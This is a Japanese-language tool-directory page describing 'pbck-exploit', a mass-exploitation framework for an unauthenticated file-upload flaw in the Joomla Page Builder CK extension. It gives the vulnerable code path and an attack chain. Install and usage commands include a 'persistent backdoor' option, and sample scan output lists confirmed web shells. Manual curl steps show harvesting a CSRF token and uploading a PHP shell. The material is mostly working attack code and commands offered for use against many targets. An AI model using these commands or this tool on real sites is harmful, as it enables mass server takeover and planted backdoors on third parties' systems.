Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pbck-exploit — 📤 CVE-2026-56290 用の大規模悪用フレームワーク — Page Builder CK Joomla の未認証ファイルアップロードによる RCE | Kitploit
ツール/GitHubGitHub/shinthink/pbck-exploit
偵察脆弱性スキャナーエクスプロイトフレームワークウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubshinthink/pbck-exploit

pbck-exploit

📤 CVE-2026-56290 用の大規模悪用フレームワーク — Page Builder CK Joomla の未認証ファイルアップロードによる RCE

リポジトリを見る
3152ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PBCK-Exploit — CVE-2026-56290 Joomla Page Builder CK エクスプロイト

Python CVE License

Discovery CSRF RCE Cleanup Live

Joomla Page Builder CK 向け大規模エクスプロイト&検証フレームワーク

未認証の任意ファイルアップロード → リモートコード実行



📑 目次

  • 脆弱性の概要
  • 影響を受けるバージョン
  • 特徴
  • インストール
  • 使い方
  • 概念実証
  • 技術的な詳細
  • 検出方法
  • 防御と緩和策
  • 免責事項
  • 参考情報

🔴 脆弱性の概要

CVE-2026-56290 は、人気の Joomla ページビルダー拡張機能である Page Builder CK(com_pagebuilderck)における深刻度「Critical」の脆弱性です。browse.ajaxAddPicture コントローラメソッドは、ユーザーが制御可能な宛先パスへの未認証ファイルアップロードを受け入れるため、攻撃者が Web からアクセス可能なディレクトリに任意の PHP ファイルを書き込むことができます。

根本原因

// browse.php controller — NO authentication check
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // ← user-controlled file
    $path  = trim($input->get('path', ''));       // ← user-controlled path, only trim()!
    // ... uploads file to $path without validating the destination
}

path パラメータは trim() によるサニタイズのみが行われます。ホワイトリストも、ディレクトリトラバーサルチェックも、認証ゲートもありません。さらに、CSRF トークンはどの Joomla ページからでも公開アクセス可能なため、攻撃者は任意の書き込み可能ディレクトリに PHP シェルをリモートでアップロードできます。

影響

ベクトル深刻度影響
未認証ファイルアップロード9.8(Critical)任意の PHP コード実行
CSRF トークン収集5.3(Medium)アップロードチェーンを可能にする
情報漏えい5.3(Medium)拡張機能バージョンのフィンガープリンティング

攻撃チェーン

1. HIT Joomla homepage     →  harvest CSRF token (hex32 + value "1")
2. POST file upload         →  task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in       →  media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL            →  code executes, RCE confirmed
5. POST f=@file to shell    →  upload additional tools
6. GET ?cleanup=1           →  shell self-destructs

🟠 影響を受けるバージョン

Page Builder CK バージョンステータス備考
3.1.1 以下🔴 脆弱未認証アップロードを確認済み
3.4.10 以下🔴 脆弱分析により範囲を拡大
3.5.10 以下🔴 脆弱一部のパッチ適用済みバリアントが存在する可能性あり
> 3.5.10🟢 パッチ適用済みの可能性マニフェスト XML で確認

注記: バージョンは Joomla のマニフェストファイル /administrator/manifests/files/com_pagebuilderck.xml から検出されます。マニフェストにアクセスできない場合、スキャナはデフォルトで対象を潜在的に脆弱なものとして扱います。


✨ 特徴

🔍 偵察

  • Joomla 検出 — 2 フェーズ:HTML フィンガープリント+管理パネルプローブ
  • PBCK 検出 — 直接パスプローブ+HTML パターンマッチング
  • バージョン抽出 — マニフェスト XML 解析+HTML 正規表現によるフォールバック
  • CSRF トークン収集 — 複数ページからのトークン抽出(ホーム、ログイン、登録、管理)
  • エンドポイントのブルートフォース — 1000 以上のタスク/パラメータ/パスの組み合わせを時間予算付きで探索

💀 エクスプロイト

  • 40 以上の拡張子バイパス — 大文字小文字の変更、番号付きバリアント、二重拡張子、Windows トリック
  • 20 以上の宛先パス — 拡張機能ディレクトリ、Joomla の書き込み可能ディレクトリ、トラバーサルパス
  • シェル検証 — PHP が実行されることをトークンベースで確認
  • 自動クリーンアップ — 検証後にシェルが自己削除(?cleanup=1)
  • ライブ TXT 出力 — リアルタイムでスレッドセーフな結果をファイルに書き込み
  • JSON レポート — ターゲットごとの完全な詳細を含む構造化レポート

📦 インストール

# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit

# Install dependencies
pip install -r requirements.txt

# Verify
python cve_2026_56290.py --help

要件

requests>=2.28.0
urllib3>=1.26.0

📖 使い方

コマンドライン引数

CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator

  -t, --target        Single target URL
  -f, --file          File with target URLs (one per line, # for comments)
  -o, --output        Live TXT output file (default: cve-2026-56290_live.txt)
  --json              JSON report file path (default: cve-2026-56290_report.json)
  --threads           Concurrent workers (default: 20)
  --timeout           Request timeout in seconds (default: 15)
  --no-cleanup        Leave shells on target (persistent backdoor)
  -v, --verbose       Verbose endpoint discovery output
  --known-endpoint    Skip discovery: task,file_param,folder_param

基本的な使い方

# Single target
python cve_2026_56290.py -t https://target.com

# Mass scan from file
python cve_2026_56290.py -f targets.txt

# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v

# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup

# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"

ターゲットファイル形式

# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored

🧪 概念実証

シナリオ 1:ライブ出力による大量スキャン

$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
  CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
  Live TXT: live_results.txt
  2026-07-04 15:30:00
────────────────────────────────────────────────────────────

  ✅ https://target-vuln.com  [rce_confirmed]  12.4s
     PBCK: 3.4.7 [VULN]
     RCE  : ext=php | path=media/com_pagebuilderck/gfonts/
     Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

  🛡️ https://target-patched.com  [patched]  3.2s

  ✅ https://target-vuln2.com  [rce_confirmed]  15.1s
     PBCK: 3.1.0 [VULN]
     RCE  : ext=pHP | path=media/com_pagebuilderck/fonts/
     Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

==================================================
  SCAN SUMMARY
==================================================
  Total           : 5
  ✅ RCE Confirmed : 2
  ⚠️  RCE Failed    : 1
  🛡️  Patched       : 1
  🔍 Need Diff     : 0
  ❌ Not Joomla    : 0
  ⏭️  No Component  : 1
  💥 Errors         : 0
==================================================

シナリオ 2:手動再現(curl + Python)

ステップ 1 — CSRF トークンの収集

curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"

ステップ 2 — PHP シェルのアップロード

TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"

curl -sk \
  -F "[email protected];type=application/x-php" \
  -F "path=media/com_pagebuilderck/gfonts/" \
  "https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"

ステップ 3 — RCE の検証

ツールをダウンロード